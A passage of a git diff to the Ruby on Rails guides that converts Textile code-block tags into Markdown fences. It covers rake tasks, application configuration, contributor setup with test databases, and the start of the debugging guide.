+rake notes+ will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension +.builder+, +.rb+, +.erb+, +.haml+ and +.slim+ for both default and custom annotations.
-<shell>
+```shell
$ rake notes
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
@@ -413,11 +413,11 @@ app/controllers/admin/users_controller.rb:
app/model/school.rb:
* [ 13] [OPTIMIZE] refactor this code to make it faster
* [ 17] [FIXME]
-</shell>
+```
If you are looking for a specific annotation, say FIXME, you can use +rake notes:fixme+. Note that you have to lower case the annotation's name.
-<shell>
+```shell
$ rake notes:fixme
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
@@ -425,22 +425,22 @@ app/controllers/admin/users_controller.rb:
app/model/school.rb:
* [ 17]
-</shell>
+```
You can also use custom annotations in your code and list them using +rake notes:custom+ by specifying the annotation using an environment variable +ANNOTATION+.
-<shell>
+```shell
$ rake notes:custom ANNOTATION=BUG
(in /home/foobar/commandsapp)
app/model/post.rb:
* [ 23] Have to fix this one before pushing!
-</shell>
+```
NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.
By default, +rake notes+ will look in the +app+, +config+, +lib+, +script+ and +test+ directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable +SOURCE_ANNOTATION_DIRECTORIES+.
-<shell>
+```shell
$ export SOURCE_ANNOTATION_DIRECTORIES='rspec,vendor'
$ rake notes
(in /home/foobar/commandsapp)
@@ -448,7 +448,7 @@ app/model/user.rb:
* [ 35] [FIXME] User should have a subscription at this point
rspec/model/user_spec.rb:
* [122] [TODO] Verify the user that has a subscription works
-</shell>
+```
h4. +routes+
@@ -487,40 +487,40 @@ Tasks should be placed in <tt>Rails.root/lib/tasks</tt> and should have a +.rake
Each task should be defined in next format (dependencies are optional):
-<ruby>
+```ruby
desc "I am short, but comprehensive description for my cool task"
task :task_name => [:prerequisite_task, :another_task_we_depend_on] do
# All your magick here
# Any valid Ruby code is allowed
end
-</ruby>
+```
If you need to pass parameters, you can use next format (both arguments and dependencies are optional):
-<ruby>
+```ruby
task :task_name, [:arg_1] => [:pre_1, :pre_2] do |t, args|
# You can use args from here
end
-</ruby>
+```
You can group tasks by placing them in namespaces:
-<ruby>
+```ruby
namespace :do
desc "This task does nothing"
task :nothing do
# Seriously, nothing
end
end
-</ruby>
+```
You can see your tasks to be listed by <tt>rake -T</tt> command. And, according to the examples above, you can invoke them as follows:
-<shell>
+```shell
rake task_name
rake "task_name[value 1]" # entire argument string should be quoted
rake do:nothing
-</shell>
+```
NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the +environment+ task, which will load your application code.
@@ -534,7 +534,7 @@ When creating a new Rails application, you have the option to specify what kind
Let's see what a +--git+ option and a +--database=postgresql+ option will do for us:
-<shell>
+```shell
$ mkdir gitapp
$ cd gitapp
$ git init
@@ -557,11 +557,11 @@ add 'app/controllers/application_controller.rb'
...
create log/test.log
add 'log/test.log'
-</shell>
+```
We had to create the *gitapp* directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
-<shell>
+```shell
$ cat config/database.yml
# PostgreSQL. Versions 8.2 and up are supported.
#
@@ -582,7 +582,7 @@ development:
password:
...
...
-</shell>
+```
It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.
@@ -596,7 +596,7 @@ NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rac
To use a different server, just install its gem, then use its name for the first parameter to +rails server+:
-<shell>
+```shell
$ sudo gem install mongrel
Building native extensions. This could take a while...
Building native extensions. This could take a while...
@@ -611,4 +611,4 @@ $ rails server mongrel
=> Booting Mongrel (use 'rails server webrick' to force WEBrick)
=> Rails 3.1.0 application starting on http://0.0.0.0:3000
...
-</shell>
+```
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
index 9c35738bf8..ca4599518b 100644
--- a/guides/source/configuring.md
+++ b/guides/source/configuring.md
@@ -26,15 +26,15 @@ In general, the work of configuring Rails means configuring the components of Ra
For example, the default +config/application.rb+ file includes this setting:
-<ruby>
+```ruby
config.filter_parameters += [:password]
-</ruby>
+```
This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object in +config/application.rb+:
-<ruby>
+```ruby
config.active_record.observers = [:hotel_observer, :review_observer]
-</ruby>
+```
Rails will use that particular setting to configure Active Record.
@@ -44,19 +44,19 @@ These configuration methods are to be called on a +Rails::Railtie+ object, such
* +config.after_initialize+ takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in +config/initializers+. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers:
-<ruby>
+```ruby
config.after_initialize do
ActionView::Base.sanitized_allowed_tags.delete 'div'
end
-</ruby>
+```
* +config.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of +config.action_controller.asset_host+.
* +config.asset_path+ lets you decorate asset paths. This can be a callable, a string, or be +nil+ which is the default. For example, the normal path for +blog.js+ would be +/javascripts/blog.js+, let that absolute path be +path+. If +config.asset_path+ is a callable, Rails calls it when generating asset paths passing +path+ as argument. If +config.asset_path+ is a string, it is expected to be a +sprintf+ format string with a +%s+ where +path+ will get inserted. In either case, Rails outputs the decorated path. Shorter version of +config.action_controller.asset_path+.
-<ruby>
+```ruby
config.asset_path = proc { |path| "/blog/public#{path}" }
-</ruby>
+```
NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is enabled, which is the default.
@@ -76,14 +76,14 @@ NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is
* +config.console+ allows you to set class that will be used as console you run +rails console+. It's best to run it in +console+ block:
-<ruby>
+```ruby
console do
# this block is called only when running console,
# so we can safely require pry here
require "pry"
config.console = Pry
end
-</ruby>
+```
* +config.dependency_loading+ is a flag that allows you to disable constant autoloading setting it to false. It only has effect if +config.cache_classes+ is true, which it is by default in production mode. This flag is set to false by +config.threadsafe!+.
@@ -123,9 +123,9 @@ end
* +config.session_store+ is usually set up in +config/initializers/session_store.rb+ and specifies what class to use to store the session. Possible values are +:cookie_store+ which is the default, +:mem_cache_store+, and +:disabled+. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:
-<ruby>
+```ruby
config.session_store :my_custom_store
-</ruby>
+```
This custom store must be defined as +ActionDispatch::Session::MyCustomStore+.
@@ -169,12 +169,12 @@ h4. Configuring Generators
Rails 3 allows you to alter what generators are used with the +config.generators+ method. This method takes a block:
-<ruby>
+```ruby
config.generators do |g|
g.orm :active_record
g.test_framework :test_unit
end
-</ruby>
+```
The full set of methods that can be used in this block are as follows:
@@ -220,33 +220,33 @@ Every Rails application comes with a standard set of middleware which it uses in
Besides these usual middleware, you can add your own by using the +config.middleware.use+ method:
-<ruby>
+```ruby
config.middleware.use Magical::Unicorns
-</ruby>
+```
This will put the +Magical::Unicorns+ middleware on the end of the stack. You can use +insert_before+ if you wish to add a middleware before another.
-<ruby>
+```ruby
config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
-</ruby>
+```
There's also +insert_after+ which will insert a middleware after another:
-<ruby>
+```ruby
config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
-</ruby>
+```
Middlewares can also be completely swapped out and replaced with others:
-<ruby>
+```ruby
config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns
-</ruby>
+```
They can also be removed from the stack completely:
-<ruby>
+```ruby
config.middleware.delete ActionDispatch::BestStandardsSupport
-</ruby>
+```
h4. Configuring i18n
@@ -328,9 +328,9 @@ h4. Configuring Action Dispatch
* +config.action_dispatch.default_headers+ is a hash with HTTP headers that are set by default in each response. By default, this is defined as:
-<ruby>
+```ruby
config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X-XSS-Protection' => '1; mode=block', 'X-Content-Type-Options' => 'nosniff' }
-</ruby>
+```
* +config.action_dispatch.tld_length+ sets the TLD (top-level domain) length for the application. Defaults to +1+.
@@ -346,9 +346,9 @@ h4. Configuring Action View
* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is
-<ruby>
+```ruby
Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe }
-</ruby>
+```
* +config.action_view.default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a +String+
@@ -358,27 +358,27 @@ Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</d
* +config.action_view.javascript_expansions+ is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as:
-<ruby>
+```ruby
config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) }
-</ruby>
+```
However, you may add to this by defining others:
-<ruby>
+```ruby
config.action_view.javascript_expansions[:prototype] = ['prototype', 'effects', 'dragdrop', 'controls']
-</ruby>
+```
And can reference in the view with the following code:
-<ruby>
+```ruby
<%= javascript_include_tag :prototype %>
-</ruby>
+```
* +config.action_view.stylesheet_expansions+ works in much the same way as +javascript_expansions+, but has no default key. Keys defined for this hash can be referenced in the view like such:
-<ruby>
+```ruby
<%= stylesheet_link_tag :special %>
-</ruby>
+```
* +config.action_view.cache_asset_ids+ With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running.
@@ -386,9 +386,9 @@ And can reference in the view with the following code:
* +config.action_view.prefix_partial_path_with_controller_namespace+ determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named +Admin::PostsController+ which renders this template:
-<erb>
+```erb
<%= render @post %>
-</erb>
+```
The default setting is +true+, which uses the partial at +/admin/posts/_post.erb+. Setting the value to +false+ would render +/posts/_post.erb+, which is the same behavior as rendering from a non-namespaced controller such as +PostsController+.
@@ -417,22 +417,22 @@ There are a number of settings available on +config.action_mailer+:
* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
* +config.action_mailer.default_options+ configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
-<ruby>
+```ruby
:mime_version => "1.0",
:charset => "UTF-8",
:content_type => "text/plain",
:parts_order => [ "text/plain", "text/enriched", "text/html" ]
-</ruby>
+```
* +config.action_mailer.observers+ registers observers which will be notified when mail is delivered.
-<ruby>
+```ruby
config.action_mailer.observers = ["MailObserver"]
-</ruby>
+```
* +config.action_mailer.interceptors+ registers interceptors which will be called before mail is sent.
-<ruby>
+```ruby
config.action_mailer.interceptors = ["MailInterceptor"]
-</ruby>
+```
* +config.action_mailer.queue+ registers the queue that will be used to deliver the mail.
<ruby>
@@ -477,13 +477,13 @@ Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is
Here's the section of the default configuration file (<tt>config/database.yml</tt>) with connection information for the development environment:
-<yaml>
+```yaml
development:
adapter: sqlite3
database: db/development.sqlite3
pool: 5
timeout: 5000
-</yaml>
+```
NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.
@@ -491,7 +491,7 @@ h5. Configuring a MySQL Database
If you choose to use MySQL instead of the shipped SQLite3 database, your +config/database.yml+ will look a little different. Here's the development section:
-<yaml>
+```yaml
development:
adapter: mysql2
encoding: utf8
@@ -500,7 +500,7 @@ development:
username: root
password:
socket: /tmp/mysql.sock
-</yaml>
+```
If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate.
@@ -508,7 +508,7 @@ h5. Configuring a PostgreSQL Database
If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases:
-<yaml>
+```yaml
development:
adapter: postgresql
encoding: unicode
@@ -516,50 +516,50 @@ development:
pool: 5
username: blog
password:
-</yaml>
+```
Prepared Statements can be disabled thus:
-<yaml>
+```yaml
production:
adapter: postgresql
prepared_statements: false
-</yaml>
+```
h5. Configuring an SQLite3 Database for JRuby Platform
If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section:
-<yaml>
+```yaml
development:
adapter: jdbcsqlite3
database: db/development.sqlite3
-</yaml>
+```
h5. Configuring a MySQL Database for JRuby Platform
If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section:
-<yaml>
+```yaml
development:
adapter: jdbcmysql
database: blog_development
username: root
password:
-</yaml>
+```
h5. Configuring a PostgreSQL Database for JRuby Platform
If you choose to use PostgreSQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section:
-<yaml>
+```yaml
development:
adapter: jdbcpostgresql
encoding: unicode
database: blog_development
username: blog
password:
-</yaml>
+```
Change the username and password in the +development+ section as appropriate.
@@ -600,7 +600,7 @@ Rails has 5 initialization events which can be hooked into (listed in the order
To define an event for these hooks, use the block syntax within a +Rails::Application+, +Rails::Railtie+ or +Rails::Engine+ subclass:
-<ruby>
+```ruby
module YourApp
class Application < Rails::Application
config.before_initialize do
@@ -608,15 +608,15 @@ module YourApp
end
end
end
-</ruby>
+```
Alternatively, you can also do it through the +config+ method on the +Rails.application+ object:
-<ruby>
+```ruby
Rails.application.config.before_initialize do
# initialization code goes here
end
-</ruby>
+```
WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
@@ -624,11 +624,11 @@ h4. +Rails::Railtie#initializer+
Rails has several initializers that run on startup that are all defined by using the +initializer+ method from +Rails::Railtie+. Here's an example of the +initialize_whiny_nils+ initializer from Active Support:
-<ruby>
+```ruby
initializer "active_support.initialize_whiny_nils" do |app|
require 'active_support/whiny_nil' if app.config.whiny_nils
end
-</ruby>
+```
The +initializer+ method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The +:before+ key in the options hash can be specified to specify which initializer this new initializer must run before, and the +:after+ key will specify which initializer to run this initializer _after_.
@@ -663,17 +663,17 @@ Serves as a placeholder so that +:load_environment_config+ can be defined to run
*+active_support.initialize_whiny_nils+* Requires +active_support/whiny_nil+ if +config.whiny_nils+ is true. This file will output errors such as:
-<plain>
+```
Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id
-</plain>
+```
And:
-<plain>
+```
You have a nil object when you didn't expect it!
You might have expected an instance of Array.
The error occurred while evaluating nil.each
-</plain>
+```
*+active_support.deprecation_behavior+* Sets up deprecation reporting for environments, defaulting to +:log+ for development, +:notify+ for production and +:stderr+ for test. If a value isn't set for +config.active_support.deprecation+ then this initializer will prompt the user to configure this line in the current environment's +config/environments+ file. Can be set to an array of values.
@@ -755,13 +755,13 @@ h3. Database pooling
Active Record database connections are managed by +ActiveRecord::ConnectionAdapters::ConnectionPool+ which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in +database.yml+.
-<ruby>
+```ruby
development:
adapter: sqlite3
database: db/development.sqlite3
pool: 5
timeout: 5000
-</ruby>
+```
Since the connection pooling is handled inside of ActiveRecord by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit.
diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md
index 427733fe03..3b75e99da6 100644
--- a/guides/source/contributing_to_ruby_on_rails.md
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -59,10 +59,10 @@ h5. Clone the Ruby on Rails Repository
Navigate to the folder where you want the Ruby on Rails source code (it will create its own +rails+ subdirectory) and run:
-<shell>
+```shell
$ git clone git://github.com/rails/rails.git
$ cd rails
-</shell>
+```
h5. Set up and Run the Tests
@@ -70,69 +70,69 @@ The test suite must pass with any submitted code. No matter whether you are writ
Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's
-<shell>
+```shell
$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
-</shell>
+```
If you are on Fedora or CentOS, you can run
-<shell>
+```shell
$ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel
-</shell>
+```
If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the "Red Hat/CentOS section of the Nokogiri tutorials":http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos .
Also, SQLite3 and its development files for the +sqlite3-ruby+ gem -- in Ubuntu you're done with just
-<shell>
+```shell
$ sudo apt-get install sqlite3 libsqlite3-dev
-</shell>
+```
And if you are on Fedora or CentOS, you're done with
-<shell>
+```shell
$ sudo yum install sqlite3 sqlite3-devel
-</shell>
+```
Get a recent version of "Bundler":http://gembundler.com/:
-<shell>
+```shell
$ gem install bundler
$ gem update bundler
-</shell>
+```
and run:
-<shell>
+```shell
$ bundle install --without db
-</shell>
+```
This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. With dependencies installed, you can run the test suite with:
-<shell>
+```shell
$ bundle exec rake test
-</shell>
+```
You can also run tests for a specific component, like Action Pack, by going into its directory and executing the same command:
-<shell>
+```shell
$ cd actionpack
$ bundle exec rake test
-</shell>
+```
If you want to run the tests located in a specific directory use the +TEST_DIR+ environment variable. For example, this will run the tests of the +railties/test/generators+ directory only:
-<shell>
+```shell
$ cd railties
$ TEST_DIR=generators bundle exec rake test
-</shell>
+```
You can run any single test separately too:
-<shell>
+```shell
$ cd actionpack
$ bundle exec ruby -Itest test/template/form_helper_test.rb
-</shell>
+```
h5. Active Record Setup
@@ -148,55 +148,55 @@ h6. MySQL and PostgreSQL
To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run
-<shell>
+```shell
$ sudo apt-get install mysql-server libmysqlclient15-dev
$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
-</shell>
+```
On Fedora or CentOS, just run:
-<shell>
+```shell
$ sudo yum install mysql-server mysql-devel
$ sudo yum install postgresql-server postgresql-devel
-</shell>
+```
After that run:
-<shell>
+```shell
$ rm .bundle/config
$ bundle install
-</shell>
+```
We need first to delete +.bundle/config+ because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
In order to be able to run the test suite against MySQL you need to create a user named +rails+ with privileges on the test databases:
-<shell>
+```shell
mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
to 'rails'@'localhost';
mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
to 'rails'@'localhost';
-</shell>
+```
and create the test databases:
-<shell>
+```shell
$ cd activerecord
$ bundle exec rake mysql:build_databases
-</shell>
+```
PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account
-<shell>
+```shell
$ sudo -u postgres createuser --superuser $USER
-</shell>
+```
and then create the test databases with
-<shell>
+```shell
$ cd activerecord
$ bundle exec rake postgresql:build_databases
-</shell>
+```
NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
@@ -208,32 +208,32 @@ h3. Testing Active Record
This is how you run the Active Record test suite only for SQLite3:
-<shell>
+```shell
$ cd activerecord
$ bundle exec rake test_sqlite3
-</shell>
+```
You can now run the tests as you did for +sqlite3+. The tasks are respectively
-<shell>
+```shell
test_mysql
test_mysql2
test_postgresql
-</shell>
+```
Finally,
-<shell>
+```shell
$ bundle exec rake test
-</shell>
+```
will now run the four of them in turn.
You can also run any single test separately:
-<shell>
+```shell
$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
-</shell>
+```
You can invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+ also. See the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/travis.rb+ for the test suite run by the continuous integration server.
@@ -243,18 +243,18 @@ The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue n
As of this writing (December, 2010) they are specially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
-<shell>
+```shell
$ RUBYOPT=-W0 bundle exec rake test
-</shell>
+```
h4. Older Versions of Ruby on Rails
If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
-<shell>
+```shell
$ git branch --track 3-0-stable origin/3-0-stable
$ git checkout 3-0-stable
-</shell>
+```
TIP: You may want to "put your Git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with.
@@ -276,16 +276,16 @@ h4. Testing Patches
You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch:
-<shell>
+```shell
$ git checkout -b testing_branch
-</shell>
+```
Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.
-<shell>
+```shell
$ git remote add JohnSmith git://github.com/JohnSmith/rails.git
$ git pull JohnSmith orange
-</shell>
+```
After applying their branch, test it out! Here are some things to think about:
@@ -326,16 +326,16 @@ h4. Clone the Rails Repository
The first thing you need to do to be able to contribute code is to clone the repository:
-<shell>
+```shell
$ git clone git://github.com/rails/rails.git
-</shell>
+```
and create a dedicated branch:
-<shell>
+```shell
$ cd rails
$ git checkout -b my_new_branch
-</shell>
+```
It doesn’t matter much what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails Git repository.
@@ -373,7 +373,7 @@ You should add an entry to the CHANGELOG of the framework that you modified if y
A CHANGELOG entry should summarize what was changed and should end with author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry:
-<plain>
+```
* Summary of a change that briefly describes what was changed. You can use multiple
lines and wrap them at around 80 characters. Code examples are ok, too, if needed:
@@ -386,7 +386,7 @@ A CHANGELOG entry should summarize what was changed and should end with author's
You can continue after the code example and you can attach issue number. GH#1234
*Your Name*
-</plain>
+```
Your name can be added directly after the last word if you don't provide any code examples or don't need multiple paragraphs. Otherwise, it's best to make as a new paragraph.
@@ -400,15 +400,15 @@ h4. Commit Your Changes
When you're happy with the code on your computer, you need to commit the changes to Git:
-<shell>
+```shell
$ git commit -a
-</shell>
+```
At this point, your editor should be fired up and you can write a message for this commit. Well formatted and descriptive commit messages are extremely helpful for the others, especially when figuring out why given change was made, so please take the time to write it.
Good commit message should be formatted according to the following example:
-<plain>
+```
Short summary (ideally 50 characters or less)
More detailed description, if necessary. It should be wrapped to 72
@@ -432,7 +432,7 @@ You can also add bullet points:
- also, try to indent next line of a point for readability, if it's too
long to fit in 72 characters
-</plain>
+```
TIP. Please squash your commits into a single commit when appropriate. This simplifies future cherry picks, and also keeps the git log clean.
@@ -440,17 +440,17 @@ h4. Update Master
It’s pretty likely that other changes to master have happened while you were working. Go get them:
-<shell>
+```shell
$ git checkout master
$ git pull --rebase
-</shell>
+```
Now reapply your patch on top of the latest changes:
-<shell>
+```shell
$ git checkout my_new_branch
$ git rebase master
-</shell>
+```
No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
@@ -460,50 +460,50 @@ Navigate to the Rails "GitHub repository":https://github.com/rails/rails and pre
Add the new remote to your local repository on your local machine:
-<shell>
+```shell
$ git remote add mine git@github.com:<your user name>/rails.git
-</shell>
+```
Push to your remote:
-<shell>
+```shell
$ git push mine my_new_branch
-</shell>
+```
You might have cloned your forked repository into your machine and might want to add the original Rails repository as a remote instead, if that's the case here's what you have to do.
In the directory you cloned your fork:
-<shell>
+```shell
$ git remote add rails git://github.com/rails/rails.git
-</shell>
+```
Download new commits and branches from the official repository:
-<shell>
+```shell
$ git fetch rails
-</shell>
+```
Merge the new content:
-<shell>
+```shell
$ git checkout master
$ git rebase rails/master
-</shell>
+```
Update your fork:
-<shell>
+```shell
$ git push origin master
-</shell>
+```
If you want to update another branches:
-<shell>
+```shell
$ git checkout branch_name
$ git rebase rails/branch_name
$ git push origin branch_name
-</shell>
+```
h4. Issue a Pull Request
@@ -532,22 +532,22 @@ For simple fixes, the easiest way to backport your changes is to "extract a diff
First make sure your changes are the only difference between your current branch and master:
-<shell>
+```shell
$ git log master..HEAD
-</shell>
+```
Then extract the diff:
-<shell>
+```shell
$ git format-patch master --stdout > ~/my_changes.patch
-</shell>
+```
Switch over to the target branch and apply your changes:
-<shell>
+```shell
$ git checkout -b my_backport_branch 3-2-stable
$ git apply ~/my_changes.patch
-</shell>
+```
This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort.
diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md
index a5a22a8a8f..2c8e440e55 100644
--- a/guides/source/debugging_rails_applications.md
+++ b/guides/source/debugging_rails_applications.md
@@ -21,17 +21,17 @@ h4. +debug+
The +debug+ helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
-<html>
+```html
<%= debug @post %>
<p>
<b>Title:</b>
<%=h @post.title %>
</p>
-</html>
+```
You'll see something like this:
-<yaml>
+```yaml
--- !ruby/object:Post
attributes:
updated_at: 2008-09-05 22:55:47
@@ -44,25 +44,25 @@ attributes_cache: {}
Title: Rails debugging guide
-</yaml>
+```
h4. +to_yaml+
Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:
-<html>
+```html
<%= simple_format @post.to_yaml %>
<p>
<b>Title:</b>
<%=h @post.title %>
</p>
-</html>
+```
The +to_yaml+ method converts the method to YAML format leaving it more readable, and then the +simple_format+ helper is used to render each line as in the console. This is how +debug+ method does its magic.
As a result of this, you will have something like this in your view:
-<yaml>
+```yaml
--- !ruby/object:Post
attributes:
updated_at: 2008-09-05 22:55:47
@@ -74,27 +74,27 @@ created_at: 2008-09-05 22:55:47
attributes_cache: {}
Title: Rails debugging guide
-</yaml>
+```
h4. +inspect+
Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example:
-<html>
+```html
<%= [1, 2, 3, 4, 5].inspect %>
<p>
<b>Title:</b>
<%=h @post.title %>
</p>
-</html>
+```
Will be rendered as follows:
-<pre>
+```
[1, 2, 3, 4, 5]
Title: Rails debugging guide
-</pre>
+```
h3. The Logger
@@ -106,17 +106,17 @@ Rails makes use of the +ActiveSupport::BufferedLogger+ class to write log inform
You can specify an alternative logger in your +environment.rb+ or any environment file:
-<ruby>
+```ruby
Rails.logger = Logger.new(STDOUT)
Rails.logger = Log4r::Logger.new("Application Log")
-</ruby>
+```
Or in the +Initializer+ section, add _any_ of the following
-<ruby>
+```ruby
config.logger = Logger.new(STDOUT)
config.logger = Log4r::Logger.new("Application Log")
-</ruby>
+```
TIP: By default, each log is created under +Rails.root/log/+ and the log file name is +environment_name.log+.
@@ -126,10 +126,10 @@ When something is logged it's printed into the corresponding log if the log leve
The available log levels are: +:debug+, +:info+, +:warn+, +:error+, +:fatal+, and +:unknown+, corresponding to the log level numbers from 0 up to 5 respectively. To change the default log level, use
-<ruby>
+```ruby
config.log_level = :warn # In any environment initializer, or
Rails.logger.level = 0 # at any time
-</ruby>
+```
This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
@@ -139,15 +139,15 @@ h4. Sending Messages
To write in the current log use the +logger.(debug|info|warn|error|fatal)+ method from within a controller, model or mailer:
-<ruby>
+```ruby
logger.debug "Person attributes hash: #{@person.attributes.inspect}"
logger.info "Processing the request..."
logger.fatal "Terminating application, raised unrecoverable error!!!"
-</ruby>
+```
Here's an example of a method instrumented with extra logging:
-<ruby>
+```ruby
class PostsController < ApplicationController
# ...
@@ -167,11 +167,11 @@ class PostsController < ApplicationController
# ...
end
-</ruby>
+```
Here's an example of the log generated by this method:
-<shell>
+```shell
Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
@@ -187,7 +187,7 @@ Post should be valid: true
The post was saved and now the user is going to be redirected...
Redirected to #<Post:0x20af760>
Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
-</shell>
+```
Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
@@ -212,38 +212,38 @@ h4. Setup
Rails uses the +debugger+ gem to set breakpoints and step through live code. To install it, just run:
-<shell>
+```shell
$ gem install debugger
-</shell>
+```
Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the +debugger+ method.
Here's an example:
-<ruby>
+```ruby
class PeopleController < ApplicationController
def new
debugger
@person = Person.new
end
end
-</ruby>
+```
If you see the message in the console or logs:
-<shell>
+```shell
***** Debugger requested, but was not available: Start server with --debugger to enable *****
-</shell>
+```
Make sure you have started your web server with the option +--debugger+:
-<shell>
+```shell
$ rails server --debugger
=> Booting WEBrick
=> Rails 3.0.0 application starting on http://0.0.0.0:3000
=> Debugger enabled
...
-</shell>
+```
TIP: In development mode, you can dynamically +require \'debugger\'+ instead of restarting the server, if it was started without +--debugger+.
@@ -255,14 +255,14 @@ If you got there by a browser request, the browser tab containing the request wi
For example:
-<shell>
+```shell
@posts = Post.all
(rdb:7)
-</shell>
+```
Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: +help+ (You didn't see that coming, right?)
-<shell>
+```shell
